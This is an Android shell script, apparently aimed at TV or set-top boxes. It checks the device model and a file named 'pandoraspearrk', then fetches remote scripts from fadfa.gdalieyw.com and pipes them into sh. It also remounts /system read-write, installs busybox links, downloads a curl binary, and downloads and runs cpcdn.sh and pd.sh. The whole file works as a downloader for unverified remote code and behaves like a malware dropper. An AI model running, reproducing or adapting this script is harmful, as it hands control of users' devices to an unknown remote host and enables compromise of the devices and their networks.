#!/system/bin/sh
cd /data 
export PATH=$PATH:/system/bin:/system/xbin/
sdk=`getprop ro.product.board`
model=`getprop ro.product.model`

if [ -f /system/bin/pandoraspearrk ];then 
cd /data/ && curl http://fadfa.gdalieyw.com:8080/stb-download/tool/rku.sh|sh
exit	
fi

if [ "x${model}" == "xUniTV V10" ];then
	cd /data/ && curl http://fadfa.gdalieyw.com:8080/stb-download/tool/11.sh|sh
fi

if [ "x${sdk}" == "xrk30sdk" ];then
mount -o rw,remount /system && cp -af /system/bin/busybox /system/xbin/busybox && chmod 755 /system/xbin/busybox && cd /system/xbin/
ln -s busybox xz && ln -s busybox awk && ln -s busybox arp && ln -s busybox tar  
mount -o ro,remount /system 
fi

if [ "x${model}" == "xH8" ];then 
cd /data/ && curl http://fadfa.gdalieyw.com:8080/stb-download/tool/h8.sh|sh
exit	
fi


#alias wget='/system/bin/wget' 
if [ ! -f /system/bin/curl ] && [ ! -f /data/curl ];then
wget "http://fadfa.gdalieyw.com:8080/stb-download/tool/curl" -O curl
chmod 755 curl
fi
rm cpcdn.sh
rm pd.sh
cd /data && wget "http://fadfa.gdalieyw.com:8080/stb-download/tool/cpcdn.sh" && chmod 755 cpcdn.sh && sh cpcdn.sh 
cd /data && wget "http://fadfa.gdalieyw.com:8080/stb-download/tool/pd.sh" && chmod 755 pd.sh && sh pd.sh 
echo "Done"
